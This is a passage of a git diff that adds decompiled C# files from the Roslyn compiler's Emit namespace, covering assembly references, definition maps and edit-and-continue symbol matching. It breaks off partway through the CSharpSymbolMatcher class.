a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/AssemblyReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/AssemblyReference.cs new file mode 100644 index 0000000..be75765 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/AssemblyReference.cs @@ -0,0 +1,55 @@ +using System; +using System.Collections.Generic; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class AssemblyReference : IAssemblyReference, IModuleReference, IUnitReference, IReference, INamedEntity +{ + private readonly AssemblySymbol _targetAssembly; + + public AssemblyIdentity Identity => _targetAssembly.Identity; + + public Version AssemblyVersionPattern => _targetAssembly.AssemblyVersionPattern; + + string INamedEntity.Name => Identity.Name; + + internal AssemblyReference(AssemblySymbol assemblySymbol) + { + _targetAssembly = assemblySymbol; + } + + public override string ToString() + { + return _targetAssembly.ToString(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IAssemblyReference)(object)this); + } + + IAssemblyReference IModuleReference.GetContainingAssembly(EmitContext context) + { + return (IAssemblyReference)(object)this; + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpDefinitionMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpDefinitionMap.cs new file mode 100644 index 0000000..fcf8972 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpDefinitionMap.cs @@ -0,0 +1,243 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class CSharpDefinitionMap : DefinitionMap +{ + private readonly MetadataDecoder _metadataDecoder; + + private readonly CSharpSymbolMatcher _mapToMetadata; + + private readonly CSharpSymbolMatcher _mapToPrevious; + + protected override SymbolMatcher MapToMetadataSymbolMatcher => (SymbolMatcher)(object)_mapToMetadata; + + protected override SymbolMatcher MapToPreviousSymbolMatcher => (SymbolMatcher)(object)_mapToPrevious; + + internal override CommonMessageProvider MessageProvider => (CommonMessageProvider)(object)Microsoft.CodeAnalysis.CSharp.MessageProvider.Instance; + + public CSharpDefinitionMap(IEnumerable edits, MetadataDecoder metadataDecoder, CSharpSymbolMatcher mapToMetadata, CSharpSymbolMatcher? mapToPrevious) + : base(edits) + { + _metadataDecoder = metadataDecoder; + _mapToMetadata = mapToMetadata; + _mapToPrevious = mapToPrevious ?? mapToMetadata; + } + + protected override ISymbolInternal? GetISymbolInternalOrNull(ISymbol symbol) + { + return (ISymbolInternal?)(object)(symbol as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.Symbol)?.UnderlyingSymbol; + } + + protected override LambdaSyntaxFacts GetLambdaSyntaxFacts() + { + return CSharpLambdaSyntaxFacts.Instance; + } + + internal bool TryGetAnonymousTypeName(AnonymousTypeManager.AnonymousTypeTemplateSymbol template, [NotNullWhen(true)] out string? name, out int index) + { + return _mapToPrevious.TryGetAnonymousTypeName(template, out name, out index); + } + + internal override bool TryGetTypeHandle(ITypeDefinition def, out TypeDefinitionHandle handle) + { + IDefinition obj = ((SymbolMatcher)_mapToMetadata).MapDefinition((IDefinition)(object)def); + if (((obj != null) ? ((IReference)obj).GetInternalSymbol() : null) is PENamedTypeSymbol pENamedTypeSymbol) + { + handle = pENamedTypeSymbol.Handle; + return true; + } + handle = default(TypeDefinitionHandle); + return false; + } + + internal override bool TryGetEventHandle(IEventDefinition def, out EventDefinitionHandle handle) + { + IDefinition obj = ((SymbolMatcher)_mapToMetadata).MapDefinition((IDefinition)(object)def); + if (((obj != null) ? ((IReference)obj).GetInternalSymbol() : null) is PEEventSymbol pEEventSymbol) + { + handle = pEEventSymbol.Handle; + return true; + } + handle = default(EventDefinitionHandle); + return false; + } + + internal override bool TryGetFieldHandle(IFieldDefinition def, out FieldDefinitionHandle handle) + { + IDefinition obj = ((SymbolMatcher)_mapToMetadata).MapDefinition((IDefinition)(object)def); + if (((obj != null) ? ((IReference)obj).GetInternalSymbol() : null) is PEFieldSymbol pEFieldSymbol) + { + handle = pEFieldSymbol.Handle; + return true; + } + handle = default(FieldDefinitionHandle); + return false; + } + + internal override bool TryGetMethodHandle(IMethodDefinition def, out MethodDefinitionHandle handle) + { + IDefinition obj = ((SymbolMatcher)_mapToMetadata).MapDefinition((IDefinition)(object)def); + if (((obj != null) ? ((IReference)obj).GetInternalSymbol() : null) is PEMethodSymbol pEMethodSymbol) + { + handle = pEMethodSymbol.Handle; + return true; + } + handle = default(MethodDefinitionHandle); + return false; + } + + internal override bool TryGetPropertyHandle(IPropertyDefinition def, out PropertyDefinitionHandle handle) + { + IDefinition obj = ((SymbolMatcher)_mapToMetadata).MapDefinition((IDefinition)(object)def); + if (((obj != null) ? ((IReference)obj).GetInternalSymbol() : null) is PEPropertySymbol pEPropertySymbol) + { + handle = pEPropertySymbol.Handle; + return true; + } + handle = default(PropertyDefinitionHandle); + return false; + } + + protected override void GetStateMachineFieldMapFromMetadata(ITypeSymbolInternal stateMachineType, ImmutableArray localSlotDebugInfo, out IReadOnlyDictionary hoistedLocalMap, out IReadOnlyDictionary awaiterMap, out int awaiterSlotCount) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Expected O, but got Unknown + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Expected O, but got Unknown + Dictionary dictionary = new Dictionary(); + Dictionary dictionary2 = new Dictionary((IEqualityComparer?)SymbolEquivalentEqualityComparer.Instance); + int num = -1; + ImmutableArray.Enumerator enumerator = ((Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol)(object)stateMachineType).GetMembers().GetEnumerator(); + EncHoistedLocalInfo key = default(EncHoistedLocalInfo); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 6) + { + continue; + } + string name = current.Name; + int slotIndex; + switch (GeneratedNameParser.GetKind(name)) + { + case GeneratedNameKind.AwaiterField: + if (GeneratedNameParser.TryParseSlotIndex(name, out slotIndex)) + { + Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol fieldSymbol2 = (Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol)current; + dictionary2[(ITypeReference)fieldSymbol2.Type.GetCciAdapter()] = slotIndex; + if (slotIndex > num) + { + num = slotIndex; + } + } + break; + case GeneratedNameKind.HoistedLocalField: + case GeneratedNameKind.DisplayClassLocalOrField: + case GeneratedNameKind.HoistedSynthesizedLocalField: + if (GeneratedNameParser.TryParseSlotIndex(name, out slotIndex)) + { + Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol fieldSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol)current; + if (slotIndex < localSlotDebugInfo.Length) + { + ((EncHoistedLocalInfo)(ref key))._002Ector(localSlotDebugInfo[slotIndex], (ITypeReference)fieldSymbol.Type.GetCciAdapter()); + dictionary[key] = slotIndex; + } + } + break; + } + } + hoistedLocalMap = dictionary; + awaiterMap = dictionary2; + awaiterSlotCount = num + 1; + } + + protected override ImmutableArray GetLocalSlotMapFromMetadata(StandaloneSignatureHandle handle, EditAndContinueMethodDebugInformation debugInfo) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray> localsOrThrow = ((MetadataDecoder)_metadataDecoder).GetLocalsOrThrow(handle); + return CreateLocalSlotMap(debugInfo, localsOrThrow); + } + + protected override ITypeSymbolInternal? TryGetStateMachineType(MethodDefinitionHandle methodHandle) + { + string text = default(string); + if (!((MetadataDecoder)_metadataDecoder).Module.HasStateMachineAttribute(methodHandle, ref text)) + { + return null; + } + return (ITypeSymbolInternal?)(object)((TypeNameDecoder)(object)_metadataDecoder).GetTypeSymbolForSerializedType(text); + } + + private static ImmutableArray CreateLocalSlotMap(EditAndContinueMethodDebugInformation methodEncInfo, ImmutableArray> slotMetadata) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + EncLocalInfo[] array = (EncLocalInfo[])(object)new EncLocalInfo[slotMetadata.Length]; + ImmutableArray localSlots = methodEncInfo.LocalSlots; + if (!localSlots.IsDefault) + { + int num = Math.Min(localSlots.Length, slotMetadata.Length); + Dictionary dictionary = new Dictionary(); + EncLocalInfo key = default(EncLocalInfo); + for (int i = 0; i < num; i++) + { + LocalSlotDebugInfo val = localSlots[i]; + if (SynthesizedLocalKindExtensions.IsLongLived(val.SynthesizedKind)) + { + LocalInfo val2 = slotMetadata[i]; + if (val2.CustomModifiers.IsDefaultOrEmpty) + { + ((EncLocalInfo)(ref key))._002Ector(val, (ITypeReference)val2.Type.GetCciAdapter(), val2.Constraints, val2.SignatureOpt); + dictionary.Add(key, i); + } + } + } + foreach (KeyValuePair item in dictionary) + { + array[item.Value] = item.Key; + } + } + for (int j = 0; j < array.Length; j++) + { + if (((EncLocalInfo)(ref array[j])).IsDefault) + { + array[j] = new EncLocalInfo(slotMetadata[j].SignatureOpt); + } + } + return ImmutableArray.Create(array); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpLambdaSyntaxFacts.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpLambdaSyntaxFacts.cs new file mode 100644 index 0000000..b6c59d2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpLambdaSyntaxFacts.cs @@ -0,0 +1,27 @@ +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal class CSharpLambdaSyntaxFacts : LambdaSyntaxFacts +{ + public static readonly LambdaSyntaxFacts Instance = (LambdaSyntaxFacts)(object)new CSharpLambdaSyntaxFacts(); + + private CSharpLambdaSyntaxFacts() + { + } + + public override SyntaxNode GetLambda(SyntaxNode lambdaOrLambdaBodySyntax) + { + return LambdaUtilities.GetLambda(lambdaOrLambdaBodySyntax); + } + + public override SyntaxNode? TryGetCorrespondingLambdaBody(SyntaxNode previousLambdaSyntax, SyntaxNode lambdaOrLambdaBodySyntax) + { + return LambdaUtilities.TryGetCorrespondingLambdaBody(lambdaOrLambdaBodySyntax, previousLambdaSyntax); + } + + public override int GetDeclaratorPosition(SyntaxNode node) + { + return LambdaUtilities.GetDeclaratorPosition(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpSymbolChanges.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpSymbolChanges.cs new file mode 100644 index 0000000..026b323 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpSymbolChanges.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class CSharpSymbolChanges : SymbolChanges +{ + public CSharpSymbolChanges(DefinitionMap definitionMap, IEnumerable edits, Func isAddedSymbol) + : base(definitionMap, edits, isAddedSymbol) + { + } + + protected override ISymbolInternal? GetISymbolInternalOrNull(ISymbol symbol) + { + return (ISymbolInternal?)(object)(symbol as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.Symbol)?.UnderlyingSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpSymbolMatcher.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpSymbolMatcher.cs new file mode 100644 index 0000000..9e65dae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/CSharpSymbolMatcher.cs @@ -0,0 +1,1061 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class CSharpSymbolMatcher : SymbolMatcher +{ + private abstract class MatchDefs + { + private readonly EmitContext _sourceContext; + + private readonly ConcurrentDictionary _matches = new ConcurrentDictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + + private IReadOnlyDictionary? _lazyTopLevelTypes; + + public MatchDefs(EmitContext sourceContext) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + _sourceContext = sourceContext; + } + + public IDefinition? VisitDef(IDefinition def) + { + return _matches.GetOrAdd(def, (Func)VisitDefInternal); + } + + private IDefinition? VisitDefInternal(IDefinition def) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected O, but got Unknown + ITypeDefinition val = (ITypeDefinition)(object)((def is ITypeDefinition) ? def : null); + if (val != null) + { + INamespaceTypeDefinition val2 = ((ITypeReference)val).AsNamespaceTypeDefinition(_sourceContext); + if (val2 != null) + { + return (IDefinition?)(object)VisitNamespaceType(val2); + } + INestedTypeDefinition val3 = ((ITypeReference)val).AsNestedTypeDefinition(_sourceContext); + ITypeDefinition val4 = (ITypeDefinition)VisitDef((IDefinition)(object)((ITypeDefinitionMember)val3).ContainingTypeDefinition); + if (val4 == null) + { + return null; + } + return (IDefinition?)(object)VisitTypeMembers(val4, val3, (Func>)GetNestedTypes, (Func)((INestedTypeDefinition a, INestedTypeDefinition b) => StringOrdinalComparer.Equals(((INamedEntity)a).Name, ((INamedEntity)b).Name))); + } + ITypeDefinitionMember val5 = (ITypeDefinitionMember)(object)((def is ITypeDefinitionMember) ? def : null); + if (val5 != null) + { + ITypeDefinition val6 = (ITypeDefinition)VisitDef((IDefinition)(object)val5.ContainingTypeDefinition); + if (val6 == null) + { + return null; + } + IFieldDefinition val7 = (IFieldDefinition)(object)((def is IFieldDefinition) ? def : null); + if (val7 != null) + { + return (IDefinition?)(object)VisitTypeMembers(val6, val7, (Func>)GetFields, (Func)((IFieldDefinition a, IFieldDefinition b) => StringOrdinalComparer.Equals(((INamedEntity)a).Name, ((INamedEntity)b).Name))); + } + } + throw ExceptionUtilities.UnexpectedValue((object)def); + } + + protected abstract IEnumerable GetTopLevelTypes(); + + protected abstract IEnumerable GetNestedTypes(ITypeDefinition def); + + protected abstract IEnumerable GetFields(ITypeDefinition def); + + private INamespaceTypeDefinition? VisitNamespaceType(INamespaceTypeDefinition def) + { + if (!string.IsNullOrEmpty(((INamespaceTypeReference)def).NamespaceName)) + { + return null; + } + GetTopLevelTypesByName().TryGetValue(((INamedEntity)def).Name, out INamespaceTypeDefinition value); + return value; + } + + private IReadOnlyDictionary GetTopLevelTypesByName() + { + if (_lazyTopLevelTypes == null) + { + Dictionary dictionary = new Dictionary((IEqualityComparer?)StringOrdinalComparer.Instance); + foreach (INamespaceTypeDefinition topLevelType in GetTopLevelTypes()) + { + if (string.IsNullOrEmpty(((INamespaceTypeReference)topLevelType).NamespaceName)) + { + dictionary.Add(((INamedEntity)topLevelType).Name, topLevelType); + } + } + Interlocked.CompareExchange(ref _lazyTopLevelTypes, dictionary, null); + } + return _lazyTopLevelTypes; + } + + private static T? VisitTypeMembers(ITypeDefinition otherContainer, T member, Func> getMembers, Func predicate) where T : class, ITypeDefinitionMember + { + return getMembers(otherContainer).FirstOrDefault((T otherMember) => predicate(member, otherMember)); + } + } + + private sealed class MatchDefsToMetadata : MatchDefs + { + private readonly PEAssemblySymbol _otherAssembly; + + public MatchDefsToMetadata(EmitContext sourceContext, PEAssemblySymbol otherAssembly) + : base(sourceContext) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _otherAssembly = otherAssembly; + } + + protected override IEnumerable GetTopLevelTypes() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetTopLevelTypes(instance, _otherAssembly.GlobalNamespace); + return instance.ToArrayAndFree(); + } + + protected override IEnumerable GetNestedTypes(ITypeDefinition def) + { + return ((PENamedTypeSymbol)(object)def).GetTypeMembers().Cast(); + } + + protected override IEnumerable GetFields(ITypeDefinition def) + { + return ((PENamedTypeSymbol)(object)def).GetFieldsToEmit().Cast(); + } + + private static void GetTopLevelTypes(ArrayBuilder builder, NamespaceSymbol @namespace) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Expected O, but got Unknown + ImmutableArray.Enumerator enumerator = @namespace.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 12) + { + GetTopLevelTypes(builder, (NamespaceSymbol)current); + } + else + { + builder.Add((INamespaceTypeDefinition)current.GetCciAdapter()); + } + } + } + } + + private sealed class MatchDefsToSource : MatchDefs + { + private readonly EmitContext _otherContext; + + public MatchDefsToSource(EmitContext sourceContext, EmitContext otherContext) + : base(sourceContext) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + _otherContext = otherContext; + } + + protected override IEnumerable GetTopLevelTypes() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return _otherContext.Module.GetTopLevelTypeDefinitions(_otherContext); + } + + protected override IEnumerable GetNestedTypes(ITypeDefinition def) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return def.GetNestedTypes(_otherContext); + } + + protected override IEnumerable GetFields(ITypeDefinition def) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return def.GetFields(_otherContext); + } + } + + private sealed class MatchSymbols : CSharpSymbolVisitor + { + private sealed class SymbolComparer + { + private readonly MatchSymbols _matcher; + + private readonly DeepTranslator? _deepTranslator; + + public SymbolComparer(MatchSymbols matcher, DeepTranslator? deepTranslator) + { + _matcher = matcher; + _deepTranslator = deepTranslator; + } + + public bool Equals(TypeSymbol source, TypeSymbol other) + { + if ((object)source == other) + { + return true; + } + TypeSymbol obj = (TypeSymbol)_matcher.Visit(source); + TypeSymbol t = ((_deepTranslator != null) ? ((TypeSymbol)_deepTranslator.Visit(other)) : other); + return obj?.Equals(t, (TypeCompareKind)14) ?? false; + } + } + + private readonly SynthesizedTypeMaps _synthesizedTypes; + + private readonly SourceAssemblySymbol _sourceAssembly; + + private readonly AssemblySymbol _otherAssembly; + + private readonly ImmutableDictionary>? _otherSynthesizedMembers; + + private readonly ImmutableDictionary>? _otherDeletedMembers; + + private readonly SymbolComparer _comparer; + + private readonly ConcurrentDictionary _matches = new ConcurrentDictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + + private readonly ConcurrentDictionary>> _otherMembers = new ConcurrentDictionary>>((IEqualityComparer?)ReferenceEqualityComparer.Instance); + + public MatchSymbols(SourceAssemblySymbol sourceAssembly, AssemblySymbol otherAssembly, SynthesizedTypeMaps synthesizedTypes, ImmutableDictionary>? otherSynthesizedMembers, ImmutableDictionary>? otherDeletedMembers, DeepTranslator? deepTranslator) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + _synthesizedTypes = synthesizedTypes; + _sourceAssembly = sourceAssembly; + _otherAssembly = otherAssembly; + _otherSynthesizedMembers = otherSynthesizedMembers; + _otherDeletedMembers = otherDeletedMembers; + _comparer = new SymbolComparer(this, deepTranslator); + } + + internal bool TryGetAnonymousTypeName(AnonymousTypeManager.AnonymousTypeTemplateSymbol type, [NotNullWhen(true)] out string? name, out int index) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (TryFindAnonymousType(type, out var otherType)) + { + name = otherType.Name; + index = otherType.UniqueIndex; + return true; + } + name = null; + index = -1; + return false; + } + + public override Symbol DefaultVisit(Symbol symbol) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/EditAndContinue/CSharpSymbolMatcher.cs", 336); + } + + public override Symbol? Visit(Symbol symbol) + { + return _matches.GetOrAdd(symbol, base.Visit); + } + + public override Symbol? VisitArrayType(ArrayTypeSymbol symbol) + { + TypeSymbol typeSymbol = (TypeSymbol)Visit(symbol.ElementType); + if ((object)typeSymbol == null) + { + return null; + } + ImmutableArray customModifiers = VisitCustomModifiers(symbol.ElementTypeWithAnnotations.CustomModifiers); + if (symbol.IsSZArray) + { + return ArrayTypeSymbol.CreateSZArray(_otherAssembly, symbol.ElementTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, customModifiers)); + } + return ArrayTypeSymbol.CreateMDArray(_otherAssembly, symbol.ElementTypeWithAnnotations.WithTypeAndModifiers(typeSymbol, customModifiers), symbol.Rank, symbol.Sizes, symbol.LowerBounds); + } + + public override Symbol? VisitEvent(EventSymbol symbol) + { + return VisitNamedTypeMember(symbol, AreEventsEqual); + } + + public override Symbol? VisitField(FieldSymbol symbol) + { + return VisitNamedTypeMember(symbol, AreFieldsEqual); + } + + public override Symbol? VisitMethod(MethodSymbol symbol) + { + return VisitNamedTypeMember(symbol, AreMethodsEqual); + } + + public override Symbol? VisitModule(ModuleSymbol module) + { + AssemblySymbol assemblySymbol = (AssemblySymbol)Visit(module.ContainingAssembly); + if ((object)assemblySymbol == null) + { + return null; + } + if (module.Ordinal == 0) + { + return assemblySymbol.Modules[0]; + } + for (int i = 1; i < assemblySymbol.Modules.Length; i++) + { + ModuleSymbol moduleSymbol = assemblySymbol.Modules[i]; + if (StringComparer.Ordinal.Equals(moduleSymbol.Name, module.Name)) + { + return moduleSymbol; + } + } + return null; + } + + public override Symbol? VisitAssembly(AssemblySymbol assembly) + { + if (assembly.IsLinked) + { + return assembly; + } + if (IdentityEqualIgnoringVersionWildcard(assembly, _sourceAssembly)) + { + return _otherAssembly; + } + ImmutableArray.Enumerator enumerator = _otherAssembly.Modules[0].ReferencedAssemblySymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblySymbol current = enumerator.Current; + if (IdentityEqualIgnoringVersionWildcard(assembly, current)) + { + return current; + } + } + return null; + } + + private static bool IdentityEqualIgnoringVersionWildcard(AssemblySymbol left, AssemblySymbol right) + { + AssemblyIdentity identity = left.Identity; + AssemblyIdentity identity2 = right.Identity; + if (AssemblyIdentityComparer.SimpleNameComparer.Equals(identity.Name, identity2.Name) && (left.AssemblyVersionPattern ?? identity.Version).Equals(right.AssemblyVersionPattern ?? identity2.Version)) + { + return AssemblyIdentity.EqualIgnoringNameAndVersion(identity, identity2); + } + return false; + } + + public override Symbol? VisitNamespace(NamespaceSymbol @namespace) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + Symbol symbol = Visit(@namespace.ContainingSymbol); + if ((object)symbol == null) + { + return null; + } + SymbolKind kind = symbol.Kind; + if ((int)kind != 10) + { + if ((int)kind == 12) + { + return FindMatchingMember((ISymbolInternal)(object)symbol, @namespace, AreNamespacesEqual); + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + return ((ModuleSymbol)symbol).GlobalNamespace; + } + + public override Symbol VisitDynamicType(DynamicTypeSymbol symbol) + { + return _otherAssembly.GetSpecialType((SpecialType)1); + } + + public override Symbol? VisitNamedType(NamedTypeSymbol sourceType) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Invalid comparison between Unknown and I4 + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Invalid comparison between Unknown and I4 + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol originalDefinition = sourceType.OriginalDefinition; + if ((object)originalDefinition != sourceType) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + ImmutableArray allTypeArguments = sourceType.GetAllTypeArguments(ref useSiteInfo); + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)Visit(originalDefinition); + if ((object)namedTypeSymbol == null) + { + return null; + } + ImmutableArray allTypeParameters = namedTypeSymbol.GetAllTypeParameters(); + bool translationFailed = false; + ImmutableArray to = ImmutableArrayExtensions.SelectAsArray(allTypeArguments, (Func)delegate(TypeWithAnnotations t, MatchSymbols v) + { + TypeSymbol typeSymbol = (TypeSymbol)v.Visit(t.Type); + if ((object)typeSymbol == null) + { + translationFailed = true; + typeSymbol = t.Type; + } + return t.WithTypeAndModifiers(typeSymbol, v.VisitCustomModifiers(t.CustomModifiers)); + }, this); + if (translationFailed) + { + return null; + } + return new TypeMap(allTypeParameters, to, allowAlpha: true).SubstituteNamedType(namedTypeSymbol); + } + Symbol symbol = Visit(sourceType.ContainingSymbol); + if ((object)symbol == null) + { + return null; + } + SymbolKind kind = symbol.Kind; + if ((int)kind != 11) + { + if ((int)kind == 12) + { + if (sourceType is AnonymousTypeManager.AnonymousTypeTemplateSymbol type) + { + TryFindAnonymousType(type, out var otherType); + ITypeDefinition type2 = otherType.Type; + return (NamedTypeSymbol)(object)((type2 != null) ? ((IReference)type2).GetInternalSymbol() : null); + } + if (sourceType is AnonymousTypeManager.AnonymousDelegateTemplateSymbol anonymousDelegateTemplateSymbol) + { + if (anonymousDelegateTemplateSymbol.HasIndexedName) + { + TryFindAnonymousDelegateWithIndexedName(anonymousDelegateTemplateSymbol, out var otherType2); + ITypeDefinition type3 = otherType2.Type; + return (NamedTypeSymbol)(object)((type3 != null) ? ((IReference)type3).GetInternalSymbol() : null); + } + TryFindAnonymousDelegate(anonymousDelegateTemplateSymbol, out var otherDelegateSymbol); + ITypeDefinition obj = otherDelegateSymbol.Delegate; + return (NamedTypeSymbol)(object)((obj != null) ? ((IReference)obj).GetInternalSymbol() : null); + } + if (sourceType.IsAnonymousType) + { + return Visit(AnonymousTypeManager.TranslateAnonymousTypeSymbol(sourceType)); + } + return FindMatchingMember((ISymbolInternal)(object)symbol, sourceType, AreNamedTypesEqual); + } + throw 